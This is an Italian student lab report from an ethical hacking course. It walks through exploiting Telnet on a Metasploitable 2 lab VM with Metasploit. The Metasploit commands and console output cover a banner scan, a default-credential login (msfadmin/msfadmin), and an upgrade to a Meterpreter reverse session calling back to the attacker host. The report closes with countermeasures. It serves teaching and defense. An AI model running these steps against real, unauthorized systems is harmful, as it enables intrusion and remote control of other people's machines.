

EPICODE · CYBERSECURITY & ETHICAL HACKING

Analisi e Sfruttamento del Servizio Telnet

Penetration Testing su Metasploitable 2
con Metasploit Framework



STUDENTE	MODULO	DATA	TARGET
Giuseppe Carbone	S6 / Telnet Lab	19 Maggio 2026	192.168.0.149

Introduzione e Ambiente di Lavoro

Obiettivo del laboratorio

Questo laboratorio analizza il servizio Telnet attivo su Metasploitable 2, sfruttandone le credenziali predefinite tramite Metasploit Framework, per ottenere accesso remoto ed eseguire l'upgrade della sessione a Meterpreter per capacità avanzate di post-exploitation.

PARAMETRO	VALORE	NOTE
Macchina attaccante	192.168.0.100	Kali Linux
Macchina target	192.168.0.149	Metasploitable 2
Servizio analizzato	Telnet	Porta 23/TCP
Framework	Metasploit Framework	msfconsole
Credenziali target	msfadmin:msfadmin	Default Metasploitable

Fase 1 — Scansione del Servizio Telnet

TELNET_VERSION

È stato utilizzato il modulo `auxiliary/scanner/telnet/telnet_version` per connettersi alla porta 23/TCP e catturare il banner del servizio, ottenendo informazioni critiche sull'identità del sistema remoto.

1 Configurazione RHOSTS

Modulo selezionato con `use auxiliary/scanner/telnet/telnet_version` e target impostato con `set RHOSTS 192.168.0.149`. Porta 23 preimpostata di default.

```

msf telnet_version - show options + set RHOSTS 192.168.0.149
msf auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):



| Name     | Current Setting | Required | Description                                                                                                                                                                                         |
|----------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| PASSWORD |                 | no       | The password for the specified username                                                                                                                                                             |
| RHOSTS   |                 | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT    | 23              | yes      | The target port (TCP)                                                                                                                                                                               |
| THREADS  | 1               | yes      | The number of concurrent threads (max one per host)                                                                                                                                                 |
| TIMEOUT  | 30              | yes      | Timeout for the Telnet probe                                                                                                                                                                        |
| USERNAME |                 | no       | The username to authenticate as                                                                                                                                                                     |



View the full module info with the info, or info -d command.

msf auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.0.149
RHOSTS => 192.168.0.149
msf auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):



| Name     | Current Setting | Required | Description                                                                                                                                                                                         |
|----------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| PASSWORD |                 | no       | The password for the specified username                                                                                                                                                             |
| RHOSTS   | 192.168.0.149   | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT    | 23              | yes      | The target port (TCP)                                                                                                                                                                               |
| THREADS  | 1               | yes      | The number of concurrent threads (max one per host)                                                                                                                                                 |
| TIMEOUT  | 30              | yes      | Timeout for the Telnet probe                                                                                                                                                                        |
| USERNAME |                 | no       | The username to authenticate as                                                                                                                                                                     |



View the full module info with the info, or info -d command.

msf auxiliary(scanner/telnet/telnet_version) >

```

Fig. 1 — Configurazione del modulo `telnet_version` con `RHOSTS` impostato a `192.168.0.149`

2 Esecuzione e cattura banner

Il comando `exploit` ha avviato la scansione, catturando il banner di Metasploitable 2 con le credenziali predefinite in chiaro.

[illegible]

Fig. 2 — Banner catturato: "Login with msfadmin/msfadmin to get started" — scansione 100% completata

✓ Risultato Fase 1

Servizio Telnet attivo su porta 23/TCP. Il banner espone l'identità del sistema (**Metasploitable 2**) e le credenziali predefinite (**msfadmin/msfadmin**).
Scansione completata al 100%.

Fase 2 — Autenticazione e Creazione della Sessione

TELNET_LOGIN

È stato utilizzato il modulo `auxiliary/scanner/telnet/telnet_login` per automatizzare l'autenticazione con le credenziali predefinite e aprire una sessione di comando remota.

1 Analisi opzioni del modulo

Con `show options` verificati i parametri: RHOSTS, USERNAME, PASSWORD e STOP_ON_SUCCESS.

```
telnet_login - show options
Module options (auxiliary/scanner/telnet/telnet_login):
  Name           Current Setting  Required  Description
  -
  ANONYMOUS_LOGIN false           yes       Attempt to login with a blank username and password
  BLANK_PASSWORDS false           no        Try blank passwords for all users
  BRUTEFORCE_SPEED 5               yes       How fast to bruteforce, from 0 to 5
  CreateSession    true           no        Create a new session for every successful login
  DB_ALL_CREDS     false          no        Try each user/password couple stored in the current database
  DB_ALL_PASS      false          no        Add all passwords in the current database to the list
  DB_ALL_USERS     false          no        Add all users in the current database to the list
  DB_SKIP_EXISTING none           no        Skip existing credentials stored in the current database (Accepted: none, user, user@realm)
  PASSWORD         none           no        A specific password to authenticate with
  PASS_FILE        none           no        File containing passwords, one per line
  RHOSTS           192.168.0.149 yes        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT            23             yes       The target port (TCP)
  STOP_ON_SUCCESS  false          yes       Stop guessing when a credential works for a host
  THREADS          1              yes       The number of concurrent threads (max one per host)
  USERNAME         none           no        A specific username to authenticate as
  USERPASS_FILE    none           no        File containing users and passwords separated by space, one pair per line
  USER_AS_PASS     false          no        Try the username as the password for all users
  USER_FILE        none           no        File containing usernames, one per line
  VERBOSE          true           yes       Whether to print output for all attempts

View the full module info with the info, or info -d command.
```

Fig. 3 — Opzioni del modulo telnet_login: RHOSTS già impostato, USERNAME e PASSWORD da configurare

2 Impostazione credenziali e STOP_ON_SUCCESS

USERNAME e PASSWORD impostati con le credenziali note. STOP_ON_SUCCESS a `true` per fermare la scansione al primo login riuscito.

```
set USERNAME msfadmin / set PASSWORD msfadmin / set STOP_ON_SUCCESS true
msf auxiliary(scanner/telnet/telnet_login) > set USERNAME msfadmin
USERNAME => msfadmin
msf auxiliary(scanner/telnet/telnet_login) > set PASSWORD msfadmin
PASSWORD => msfadmin
msf auxiliary(scanner/telnet/telnet_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
```

Fig. 4 — Configurazione credenziali msfadmin:msfadmin e STOP_ON_SUCCESS true

PARAMETRO	VALORE	MOTIVAZIONE
RHOSTS	192.168.0.149	IP macchina target Metasploitable
USERNAME	msfadmin	Credenziale default rilevata dal banner
PASSWORD	msfadmin	Password default rilevata dal banner
STOP_ON_SUCCESS	true	Arresta al primo login riuscito

✓ Risultato Fase 2

Login riuscito. Aperta la Command shell session 1: 192.168.0.100:34237 → 192.168.0.149:23

Fase 3 — Gestione delle Sessioni

SESSIONS -L / -I

Con la sessione attiva, è stata verificata la lista delle sessioni tramite `sessions -l` e avviata l'interazione diretta tramite `sessions -i 1`.

1 Visualizzazione sessioni attive

`sessions -l` mostra la Session 1 di tipo **shell** con connessione TELNET attiva verso il target.

```

• sessions -l → Session 1 attiva
msf auxiliary(scanner/telnet/telnet_login) > sessions -l

Active sessions
=====
  Id  Name  Type  Information                                     Connection
  --  ---  ---  -
  1           shell  TELNET msfadmin:msfadmin (192.168.0.149:23)  192.168.0.100:34237 → 192.168.0.149:23 (192.168.0.149)

msf auxiliary(scanner/telnet/telnet_login) >

```

Fig. 5 — Lista sessioni: Session 1 shell TELNET msfadmin:msfadmin su 192.168.0.149:23

2 Interazione con la sessione

`sessions -i 1` avvia l'interazione diretta. Il prompt `msfadmin@metasploitable:~$` conferma l'accesso remoto.

```

• sessions -i 1 → shell remota msfadmin@metasploitable
msf auxiliary(scanner/telnet/telnet_login) > sessions -l

Active sessions
=====
  Id  Name  Type  Information                                     Connection
  --  ---  ---  -
  1           shell  TELNET msfadmin:msfadmin (192.168.0.149:23)  192.168.0.100:34237 → 192.168.0.149:23 (192.168.0.149)

msf auxiliary(scanner/telnet/telnet_login) > sessions -i
[*] Starting interaction with 1...

msfadmin@metasploitable:~$

```

Fig. 6 — Accesso interattivo confermato: prompt msfadmin@metasploitable:~\$

✓ Risultato Fase 3

Sessione shell Telnet verificata e interazione remota stabilita. Accesso confermato dal prompt `msfadmin@metasploitable:~$`

Fase 4 — Upgrade della Sessione a Meterpreter

SHELL_TO_METERPRETER

Per accedere a funzionalità avanzate di post-exploitation, è stato eseguito l'upgrade a **Meterpreter** tramite `post/multi/manage/shell_to_meterpreter`.

- 1

Background sessione (Ctrl+Z)
Con `Ctrl+Z` e conferma `y`, la sessione shell è stata messa in background rientrando nel prompt msfconsole.
- 2

Configurazione modulo
Impostati `LHOST 192.168.0.100` (Kali), `LPORT 4433` e `SESSION 1`.

⚠️ Nota — LHOST

LHOST deve essere l'IP della macchina attaccante (**192.168.0.100**), non del target. Il payload Meterpreter deve richiamare il Kali per stabilire la connessione inversa.

- 3

Esecuzione e apertura Session 2
Il modulo ha iniettato il payload (1.062.760 bytes) aprendo la **Meterpreter session 2** su `192.168.0.100:4433`.

```
● sessions -l → Session 1 shell + Session 2 meterpreter x86/linux
msf post(multi/manage/shell_to_meterpreter) > sessions -l
Active sessions
-----
  Id  Name  Type           Information                                     Connection
  --  ---  --
  1    shell TELNET msfadmin:msfadmin (192.168.0.149:23) 192.168.0.100:34237 → 192.168.0.149:23 (192.168.0.149)
  2    meterpreter x86/linux msfadmin @ metasploitable.localdomain 192.168.0.100:4433 → 192.168.0.149:59416 (192.168.0.149)
msf post(multi/manage/shell_to_meterpreter) > █
```

Fig. 7 — Sessioni attive: Session 1 shell TELNET e Session 2 meterpreter x86/linux su metasploitable.localdomain

```
● sessions -i 2 → prompt meterpreter >
[*] Starting interaction with 2 ...
meterpreter > █
```

Fig. 8 — Prompt Meterpreter attivo: accesso avanzato alla macchina target confermato

ID	TIPO	CONNESSIONE	STATO
1	shell (TELNET)	192.168.0.100:34237 → 192.168.0.149:23	✓ Attiva
2	meterpreter x86/linux	192.168.0.100:4433 → 192.168.0.149:59416	✓ Attiva

✓ Risultato Fase 4

Upgrade completato. **Session 2 Meterpreter x86/linux** attiva come `msfadmin @ metasploitable.localdomain`. Prompt `meterpreter >` confermato.

Riepilogo Fasi e Risultati

FASE	MODULO / TECNICA	OBIETTIVO	ESITO
Fase 1	telnet version	Enumerazione servizio Telnet	✓ Banner catturato
Fase 2	telnet login	Autenticazione con credenziali default	✓ Session 1 aperta
Fase 3	sessions -l / -i	Gestione e interazione sessione	✓ Shell remota attiva
Fase 4	shell to meterpreter	Upgrade a Meterpreter	✓ Session 2 Meterpreter

Conclusioni

🔍 Analisi della vulnerabilità

Il laboratorio ha dimostrato come Telnet con credenziali predefinite rappresenti un vettore di compromissione critico. Il protocollo trasmette dati in chiaro senza protezione contro brute-force o sniffing. Il modulo `telnet login` ha automatizzato l'autenticazione in pochi secondi.

⬆️ Importanza dell'upgrade a Meterpreter

La shell Telnet base offre capacità limitate. L'upgrade a Meterpreter fornisce un canale cifrato con funzionalità avanzate: upload/download file, moduli post-exploitation, pivoting e possibilità di persistenza.

🛡️ Contromisure consigliate

- Disabilitare Telnet** — sostituire con SSH che cifra l'intera sessione.
- Modificare credenziali predefinite** — le password default sono il primo vettore testato.
- Firewall e segmentazione** — limitare l'accesso alla porta 23 agli IP autorizzati.
- Monitoraggio IDS/IPS** — rilevare tentativi di brute-force e connessioni anomale.